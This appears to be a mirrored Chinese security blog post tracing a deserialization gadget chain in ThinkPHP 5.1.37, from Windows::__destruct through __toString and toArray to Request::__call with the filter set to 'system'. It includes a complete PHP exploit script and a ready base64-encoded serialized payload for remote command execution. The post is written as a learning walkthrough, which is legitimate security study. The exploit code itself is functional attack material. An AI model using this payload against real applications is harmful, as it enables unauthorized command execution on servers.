zoukankan      html  css  js  c++  java
  • Thinkphp 5.1.37 反序列化利用链

    参考文章:https://blog.riskivy.com/挖掘暗藏thinkphp中的反序列利用链/

    自己就跟着走一遍体会下!

    反序列化的常见起点:

    __wakeup 一定会调用

    __destruct 一定会调用

    __toString 当一个对象被反序列化后又被当做字符串使用

    反序列化的常见中间跳板:

    __toString 当一个对象被当做字符串使用

    __get 读取不可访问或不存在属性时被调用

    __set 当给不可访问或不存在属性赋值时被调用

    __isset 对不可访问或不存在的属性调用isset()或empty()时被调用

    形如 $this->$func();

    反序列化的常见终点:

    __call 调用不可访问或不存在的方法时被调用

    call_user_func 一般php代码执行都会选择这里

    call_user_func_array 一般php代码执行都会选择这里

    现在又多了phar反序列化的利用方式,能够反序列化其metadata部分,利用的范围增加了许多!


    环境:thinkphp 5.1.37

    1、寻找function __destruct的析构函数为如下:

    这里跟的是Windows类

    其中removeFiles 方法中 file_exists 能够触发 __toString 方法

    可以对__toSting 方法进行全局搜索 发现 Conversion 中有实现

    它会调用 toJson 方法

    toJson中接着会调用 toArray 方法,继续跟

    在该 toArray 方法中 就可以去寻找能不能找到想要的反序列化的终点造成命令执行的POP链,满足条件都为 $可控变量->方法(参数可控)

    这里找的是如下这块

    因为满足条件需要时 $可控变量->方法(参数可控),所以还要看 $relation 能否可控,受getRelation函数的影响

    那么 $this->append ,append变量就一定需要控制

    接着走的当前流程就是如下

    这时候 $relation->visible($name); 就会去调用__call方法,我们需要找一个能够利用的地方

    利用的地方的条件需要:

    1.该类中没有"visible"方法, 因为这样才能触发__call方法

    2.实现了__call方法 ,并且__call方法中有我们想要的东西,比如 call_user_func_array call_user_func 等等

    Request类中的 __call方法 就满足条件,并且 $this->hook 可控

    寻找当前类中能够利用的函数,比如 isAjax ,其中调用了param函数,那么肯定就能触发input函数了,可以回顾下tp 5.0/1.x的命令执行漏洞!

    测试代码:

    最终EXP:

    <?php
    
    namespace think;
    class Request{
        protected $hook = [];
        protected $filter = "system";
        protected $config = [
            // 表单请求类型伪装变量
            'var_method'       => '_method',
            // 表单ajax伪装变量
            'var_ajax'         => '_ajax',
            // 表单pjax伪装变量
            'var_pjax'         => '_pjax',
            // PATHINFO变量名 用于兼容模式
            'var_pathinfo'     => 's',
            // 兼容PATH_INFO获取
            'pathinfo_fetch'   => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
            // 默认全局过滤方法 用逗号分隔多个
            'default_filter'   => '',
            // 域名根,如thinkphp.cn
            'url_domain_root'  => '',
            // HTTPS代理标识
            'https_agent_name' => '',
            // IP代理获取标识
            'http_agent_ip'    => 'HTTP_X_REAL_IP',
            // URL伪静态后缀
            'url_html_suffix'  => 'html',
        ];
        function __construct(){
            $this->filter = "system";
            $this->config = ["var_ajax"=>'huha'];
            $this->hook = ["visible"=>[$this,"isAjax"]];
        }
    }
    
    
    abstract class Model{
        protected $append = [];
        private $data = [];
        function __construct(){
            # append键必须存在,并且与$this->data相同
            $this->append = ["huha"=>[]];
            $this->data = ["huha"=>new Request()];
        }
    }
    
    namespace thinkmodel;
    
    use thinkModel;
    
    class Pivot extends Model
    {
    }
    
    namespace thinkprocesspipes;
    use thinkmodelPivot;
    
    class Windows
    {
        private $files = [];
    
        public function __construct()
        {
            $this->files=[new Pivot()];
        }
    }
    //var_dump(new Windows());
    echo base64_encode(serialize(new Windows()));
    
    // TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czo0OiJodWhhIjthOjA6e319czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czo0OiJodWhhIjtPOjEzOiJ0aGlua1xSZXF1ZXN0IjozOntzOjc6IgAqAGhvb2siO2E6MTp7czo3OiJ2aXNpYmxlIjthOjI6e2k6MDtyOjc7aToxO3M6NjoiaXNBamF4Ijt9fXM6OToiACoAZmlsdGVyIjtzOjY6InN5c3RlbSI7czo5OiIAKgBjb25maWciO2E6MTp7czo4OiJ2YXJfYWpheCI7czo0OiJodWhhIjt9fX19fX0=
    ?>
    

    最后全部的流程图如下:

  • 相关阅读:
    跟我extjs5(38--单个模块的设计[6获得模块列表数据])
    Visual Prolog 的 Web 专家系统 (8)
    ssh, maven and eclipse 那些破事
    在工厂模式
    IOS获取来电去电来电归属系统通知达到效果(一)
    基于CORS的geoserver同源访问策略
    springMVC1 springmvc的基础知识
    mybatis0212 mybatis逆向工程 (MyBatis Generator)
    mybatis0211 mybatis和spring整合
    mybatis0210 mybatis和ehcache缓存框架整合
  • 原文地址:https://www.cnblogs.com/zpchcbd/p/12642225.html
Copyright © 2011-2022 走看看